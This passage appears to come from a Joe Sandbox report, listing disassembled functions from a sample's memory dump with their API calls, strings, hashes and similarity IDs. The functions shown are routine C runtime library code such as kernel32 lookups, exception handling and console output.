GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 000B9D9F
GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 000B9DB0
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 000B9DC1
GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 000B9DD2
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 000B9DE3
GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 000B9DF4
GetProcAddress.KERNEL32(00000000,FreeLibraryWhenCallbackReturns), ref: 000B9E05
GetProcAddress.KERNEL32(00000000,GetCurrentProcessorNumber), ref: 000B9E16
GetProcAddress.KERNEL32(00000000,CreateSymbolicLinkW), ref: 000B9E27
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 000B9E38
GetProcAddress.KERNEL32(00000000,GetTickCount64), ref: 000B9E49
GetProcAddress.KERNEL32(00000000,GetFileInformationByHandleEx), ref: 000B9E5A
GetProcAddress.KERNEL32(00000000,SetFileInformationByHandle), ref: 000B9E6B
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 000B9E7C
GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 000B9E8D
GetProcAddress.KERNEL32(00000000,WakeConditionVariable), ref: 000B9E9E
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 000B9EAF
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 000B9EC0
GetProcAddress.KERNEL32(00000000,InitializeSRWLock), ref: 000B9ED1
GetProcAddress.KERNEL32(00000000,AcquireSRWLockExclusive), ref: 000B9EE2
GetProcAddress.KERNEL32(00000000,TryAcquireSRWLockExclusive), ref: 000B9EF3
GetProcAddress.KERNEL32(00000000,ReleaseSRWLockExclusive), ref: 000B9F04
GetProcAddress.KERNEL32(00000000,SleepConditionVariableSRW), ref: 000B9F15
GetProcAddress.KERNEL32(00000000,CreateThreadpoolWork), ref: 000B9F26
GetProcAddress.KERNEL32(00000000,SubmitThreadpoolWork), ref: 000B9F37
GetProcAddress.KERNEL32(00000000,CloseThreadpoolWork), ref: 000B9F48
GetProcAddress.KERNEL32(00000000,CompareStringEx), ref: 000B9F59
GetProcAddress.KERNEL32(00000000,GetLocaleInfoEx), ref: 000B9F6A
GetProcAddress.KERNEL32(00000000,LCMapStringEx), ref: 000B9F7B

Strings

FlsSetValue, xrefs: 000B9D0C
CompareStringEx, xrefs: 000B9F4E
WakeConditionVariable, xrefs: 000B9E93
GetCurrentPackageId, xrefs: 000B9E2D
SleepConditionVariableSRW, xrefs: 000B9F0A
FlushProcessWriteBuffers, xrefs: 000B9DE9
SubmitThreadpoolWork, xrefs: 000B9F2C
GetSystemTimePreciseAsFileTime, xrefs: 000B9E71
WaitForThreadpoolTimerCallbacks, xrefs: 000B9D94
InitializeSRWLock, xrefs: 000B9EC6
CreateThreadpoolTimer, xrefs: 000B9D72
LCMapStringEx, xrefs: 000B9F70
FlsGetValue, xrefs: 000B9CFB
CloseThreadpoolTimer, xrefs: 000B9DA5
CreateThreadpoolWait, xrefs: 000B9DB6
CloseThreadpoolWait, xrefs: 000B9DD8
FlsFree, xrefs: 000B9CEA
FreeLibraryWhenCallbackReturns, xrefs: 000B9DFA
TryAcquireSRWLockExclusive, xrefs: 000B9EE8
SetThreadpoolWait, xrefs: 000B9DC7
InitializeConditionVariable, xrefs: 000B9E82
CreateSemaphoreW, xrefs: 000B9D50
CreateSemaphoreExW, xrefs: 000B9D61
InitializeCriticalSectionEx, xrefs: 000B9D1D
CreateEventExW, xrefs: 000B9D3F
SetThreadpoolTimer, xrefs: 000B9D83
CreateThreadpoolWork, xrefs: 000B9F1B
GetCurrentProcessorNumber, xrefs: 000B9E0B
GetLocaleInfoEx, xrefs: 000B9F5F
InitOnceExecuteOnce, xrefs: 000B9D2E
CreateSymbolicLinkW, xrefs: 000B9E21
kernel32.dll, xrefs: 000B9CD1
GetFileInformationByHandleEx, xrefs: 000B9E4F
WakeAllConditionVariable, xrefs: 000B9EA4
ReleaseSRWLockExclusive, xrefs: 000B9EF9
CloseThreadpoolWork, xrefs: 000B9F3D
AcquireSRWLockExclusive, xrefs: 000B9ED7
FlsAlloc, xrefs: 000B9CDE
GetTickCount64, xrefs: 000B9E3E
SetFileInformationByHandle, xrefs: 000B9E60
SleepConditionVariableCS, xrefs: 000B9EB5

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: AcquireSRWLockExclusive$CloseThreadpoolTimer$CloseThreadpoolWait$CloseThreadpoolWork$CompareStringEx$CreateEventExW$CreateSemaphoreExW$CreateSemaphoreW$CreateSymbolicLinkW$CreateThreadpoolTimer$CreateThreadpoolWait$CreateThreadpoolWork$FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$FlushProcessWriteBuffers$FreeLibraryWhenCallbackReturns$GetCurrentPackageId$GetCurrentProcessorNumber$GetFileInformationByHandleEx$GetLocaleInfoEx$GetSystemTimePreciseAsFileTime$GetTickCount64$InitOnceExecuteOnce$InitializeConditionVariable$InitializeCriticalSectionEx$InitializeSRWLock$LCMapStringEx$ReleaseSRWLockExclusive$SetFileInformationByHandle$SetThreadpoolTimer$SetThreadpoolWait$SleepConditionVariableCS$SleepConditionVariableSRW$SubmitThreadpoolWork$TryAcquireSRWLockExclusive$WaitForThreadpoolTimerCallbacks$WakeAllConditionVariable$WakeConditionVariable$kernel32.dll
API String ID: 667068680-295688737
Opcode ID: 8167c24c59a5484d09fbbcc16190b6714cd9aa6d9b7b9fc6ae51c54a54370ff7
Instruction ID: 296cfeae27023ef79d067957bbc4f5c537883f6e2cbabe7f44f5bc49c87619e9
Opcode Fuzzy Hash: 8167c24c59a5484d09fbbcc16190b6714cd9aa6d9b7b9fc6ae51c54a54370ff7
Instruction Fuzzy Hash: 5161EE71993390BBB704AFF5ED5AEDA3BA8AB0D702700052BB60197161DFBC51819B74

Function 000BE0F3 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 000BE212
___TypeMatch.LIBVCRUNTIME ref: 000BE320
CatchIt.LIBVCRUNTIME ref: 000BE371
_UnwindNestedFrames.LIBCMT ref: 000BE472
CallUnexpected.LIBVCRUNTIME ref: 000BE48D

Strings

csm, xrefs: 000BE19D
csm, xrefs: 000BE249
csm, xrefs: 000BE130

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4119006552-393685449
Opcode ID: 4b8fca3ad8186ed9285622606df6b8c6cf4bc493a162f795b96efc1392db4c8f
Instruction ID: 556ef9f3be1111243183ee61861e58eaaeb20def416a7eb945f2647241ba6b21
Opcode Fuzzy Hash: 4b8fca3ad8186ed9285622606df6b8c6cf4bc493a162f795b96efc1392db4c8f
Instruction Fuzzy Hash: 3DB16675C00259EFCF29DFA4C8859EEBBB9FF18310B14416AE8116B212D734EA51CF92

Function 000C5328 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,000C5313,?,?,?,?,?,?,?,?,?), ref: 000C53CE
__alloca_probe_16.LIBCMT ref: 000C5489
__alloca_probe_16.LIBCMT ref: 000C5518
__freea.LIBCMT ref: 000C5563
__freea.LIBCMT ref: 000C5569
__freea.LIBCMT ref: 000C559F
__freea.LIBCMT ref: 000C55A5
__freea.LIBCMT ref: 000C55B5

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 037472aff2b640ef2d5945b2443f30fbbfce33e39a1e1c4d3beec9e3b4cb8907
Instruction ID: bd8fbcc1bbc17a1fadfa9f9d1a04fd6ebe8b8a76284bcf3133f93e3bc6a02fcd
Opcode Fuzzy Hash: 037472aff2b640ef2d5945b2443f30fbbfce33e39a1e1c4d3beec9e3b4cb8907
Instruction Fuzzy Hash: 2D71E67A900E45ABDF209F548C91FEE77EA9F48356F28001DE915A7282E775EDC0C7A0

Function 000BEDF3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,000BEF02,?,?,00000000,00000000,?,?,000BEC0B,00000022,FlsSetValue,000C8DDC,000C8DE4,00000000), ref: 000BEEB4

Strings

api-ms-, xrefs: 000BEE4A
ext-ms-, xrefs: 000BEE5E

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 9d3f69c1b82c33ecf47b85e70cca97b18222e59bb337a783388b55faf7aaf516
Instruction ID: 41065397bc01bb1aac882ee5d762f3d06de099040836a1d534ef3e1b8d6f6154
Opcode Fuzzy Hash: 9d3f69c1b82c33ecf47b85e70cca97b18222e59bb337a783388b55faf7aaf516
Instruction Fuzzy Hash: A4210331A01291ABDB219B60DC85FDE37A9AF417B0F250125FD26AB2D1DB34ED01C6E0

Function 000BD85A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000BD851,000BAF2D,000BA5C4), ref: 000BD868
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 000BD876
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 000BD88F
SetLastError.KERNEL32(00000000,000BD851,000BAF2D,000BA5C4), ref: 000BD8E1

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: aaf8bd32c7d9ec77a554abdc1e30615bfd2f0cfaa39b0a1a8e7f27f2db428df0
Instruction ID: 8105a49e10bd8e5bf9eba3fe90fc8217e3dbb08d830a2be52d0f6901d65f6daf
Opcode Fuzzy Hash: aaf8bd32c7d9ec77a554abdc1e30615bfd2f0cfaa39b0a1a8e7f27f2db428df0
Instruction Fuzzy Hash: 5301B13621A7115EF6642BB8BC86AEE6B84EB427B6B24023FF414550E2FF158C50A250

Function 000BBF74 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,BB40E64E,?,?,00000000,000C760B,000000FF,?,000BC035,?,?,000BC0D1,00000000), ref: 000BBFA9
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 000BBFBB
FreeLibrary.KERNEL32(00000000,?,00000000,000C760B,000000FF,?,000BC035,?,?,000BC0D1,00000000), ref: 000BBFDD

Strings

mscoree.dll, xrefs: 000BBFA2
CorExitProcess, xrefs: 000BBFB3

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c73d7042ccc61532f9a12f7d49798426b6958b7bd0fe4e3b9cffa485b6834472
Instruction ID: fa453b98090d994d582c0f9d432feae15b393c203dfebff7821c6885f7612773
Opcode Fuzzy Hash: c73d7042ccc61532f9a12f7d49798426b6958b7bd0fe4e3b9cffa485b6834472
Instruction Fuzzy Hash: 22018631A4465AAFEB158F54DC09FBEBBB8FB04B14F044639F811A26D0DBB89900CF94

Function 000C2F3D Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 000C2FC2
__alloca_probe_16.LIBCMT ref: 000C308B
__freea.LIBCMT ref: 000C30F2

Part of subcall function 000C0C65: HeapAlloc.KERNEL32(00000000,?,-A3400188,?,000B9200,?,?,000B67E7,?,000B6199), ref: 000C0C97

__freea.LIBCMT ref: 000C3105
__freea.LIBCMT ref: 000C3112

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: d8a0cb6c140654e58966ca95b0784aba2ef315ce482b26dd06ee75d97bf425f1
Instruction ID: aeffb85912d4e4a95a14ccba54178ee1ff0f69c5c013868d9d50820bd1ff7bc0
Opcode Fuzzy Hash: d8a0cb6c140654e58966ca95b0784aba2ef315ce482b26dd06ee75d97bf425f1
Instruction Fuzzy Hash: 4B51BF72610206AFEB249F65CC86FEF7AE9EF44710F29412DFD04D6152EA31DE50DAA0

Function 000BE518 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,000BE41E,?,?,00000000,00000000,00000000,?), ref: 000BE53D
CatchIt.LIBVCRUNTIME ref: 000BE623

Strings

MOC, xrefs: 000BE54F
RCC, xrefs: 000BE557

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: CatchEncodePointer
String ID: MOC$RCC
API String ID: 1435073870-2084237596
Opcode ID: 3f961950f16236778583489dbcd0b8112dfc40e127ac4ae83f86df4ee7d493fc
Instruction ID: 6e69c17c80cc26e5566d7a9cfab12cbe67320cb5379c4a83ba5f27586ae5bcc0
Opcode Fuzzy Hash: 3f961950f16236778583489dbcd0b8112dfc40e127ac4ae83f86df4ee7d493fc
Instruction Fuzzy Hash: 31417A75900249AFCF26CF98CD81AEEBBB5FF48304F188059FA05A7252E735AA50DB51

Function 000C2C7E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,000C2D1A,00000000,?,000D1CD0,?,?,?,000C2C51,00000004,InitializeCriticalSectionEx,000C96F8,000C9700), ref: 000C2C8B
GetLastError.KERNEL32(?,000C2D1A,00000000,?,000D1CD0,?,?,?,000C2C51,00000004,InitializeCriticalSectionEx,000C96F8,000C9700,00000000,?,000BE73C), ref: 000C2C95
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 000C2CBD

Strings

api-ms-, xrefs: 000C2CA2

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: e57341b12df43af15086a996a352ce3333b16d6921555bd18bfb36e54ecf0d02
Instruction ID: 7e9723e3eade129ecb3c3e4e629d42dd36df26fcb393ff993ae5c384aa9d1851
Opcode Fuzzy Hash: e57341b12df43af15086a996a352ce3333b16d6921555bd18bfb36e54ecf0d02
Instruction Fuzzy Hash: 9FE04F30680245BBEF501B60ED4AF5C3E99AB00BA5F144435F90DA85E1E765A810D655

Function 000C3608 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 000C366B

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 000C38BD
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 000C3903
GetLastError.KERNEL32 ref: 000C39A6

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: be0d901f1ec62ee6428e2b7997beeb97a7ab3be7b3c22ab846f869fc2e5c90af
Instruction ID: 5a58f5b29f5bcb7bda11c1fbfd89672ae24b917d06a1ac519db6b63ac700e657
Opcode Fuzzy Hash: be0d901f1ec62ee6428e2b7997beeb97a7ab3be7b3c22ab846f869fc2e5c90af
Instruction Fuzzy Hash: 21D16CB5D142589FCB15CFA8D880AEDBBB5FF48314F28816EE856EB351D730AA41CB50

Function 000BDF1C Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 000BDFE3
___AdjustPointer.LIBCMT ref: 000BE006
___AdjustPointer.LIBCMT ref: 000BE0A2

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 30311625cb0a887eda6246f020cf48a52202ae4590206e7b9727878026ad73bc
Instruction ID: 07e488a72b493eaf1f6998ab53d31df5d3592bb38e762d1e66de7a4be7e5ef1e
Opcode Fuzzy Hash: 30311625cb0a887eda6246f020cf48a52202ae4590206e7b9727878026ad73bc
Instruction Fuzzy Hash: EC51B171615646AFEB29AF10D881BFAB7E4FF10300F14412EE90657292E7B2ED81DB51

Function 000C15D8 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

GetLastError.KERNEL32 ref: 000C163C
__dosmaperr.LIBCMT ref: 000C1643
GetLastError.KERNEL32(?,?,?,?), ref: 000C167D
__dosmaperr.LIBCMT ref: 000C1684

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: a682963169b7ede2beab781105329080729a5ed20c5893dc1ce6bdf1be4f9d5b
Instruction ID: 73f4104da19c88a089a599e7aa13533eafddf421a39d16f4a97d5bf43cb8aeec
Opcode Fuzzy Hash: a682963169b7ede2beab781105329080729a5ed20c5893dc1ce6bdf1be4f9d5b
Instruction Fuzzy Hash: 9F217C71604205AFDB20AF659881EFEB7ADEF46364B18852CF82997653DB30ED008B90

Function 000C1B74 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 270feb717a628b7ff486c7995d595feed8aaad3153d3f62910afbcedee78d1b1
Instruction ID: 8559eb54f323461ba77e94ceeb161109ac5e2b5c311b6b0d5cef97f7532f813a
Opcode Fuzzy Hash: 270feb717a628b7ff486c7995d595feed8aaad3153d3f62910afbcedee78d1b1
Instruction Fuzzy Hash: 7C218B71604209AFDB64AF65CC81FEE77ADAF12364750862CF82597163EB34EC008BA0

Function 000C224D Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 000C2255

Part of subcall function 000C2151: WideCharToMultiByte.KERNEL32(?,00000000,?,00000000,00000000,00000000,000000FF,?,?,00000000,?,?,000BD7D1,?,00000000,?), ref: 000C21B2

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C228D
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 000C22AD

Memory Dump Source

Source File: 00000002.00000002.2026614679.00000000000A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000A0000, based on PE: true

Associated: 00000002.00000002.2026598764.00000000000A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026634139.00000000000C8000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026648015.00000000000D0000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026660121.00000000000D4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2026672376.00000000000D6000.00000008.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_a0000_file.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 0282e0bb348eed0d16473e252d72301a6827065cc338f80d64a1455fd1458d51
Instruction ID: 38ca8aca6460c83d917e0dfc03c226efd2e4381d5f89fbf73bb912e46920cc87
Opcode Fuzzy Hash: 0282e0bb348eed0d16473e252d72301a6827065cc338f80d64a1455fd1458d51
Instruction Fuzzy Hash: F511D2B2501555BFA72127759CCDFBF3A9CDF95395B21042DF902E1502FA24CD0295B1

Function 000C57E0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000), ref: 000C57F7
GetLastError.KERNEL32(?,000C4F51,00000000,00000001,00000000,?,?,000C39FA,?,00000000,00000000,?,?,?,000C3340,00000000), ref: 000C5803

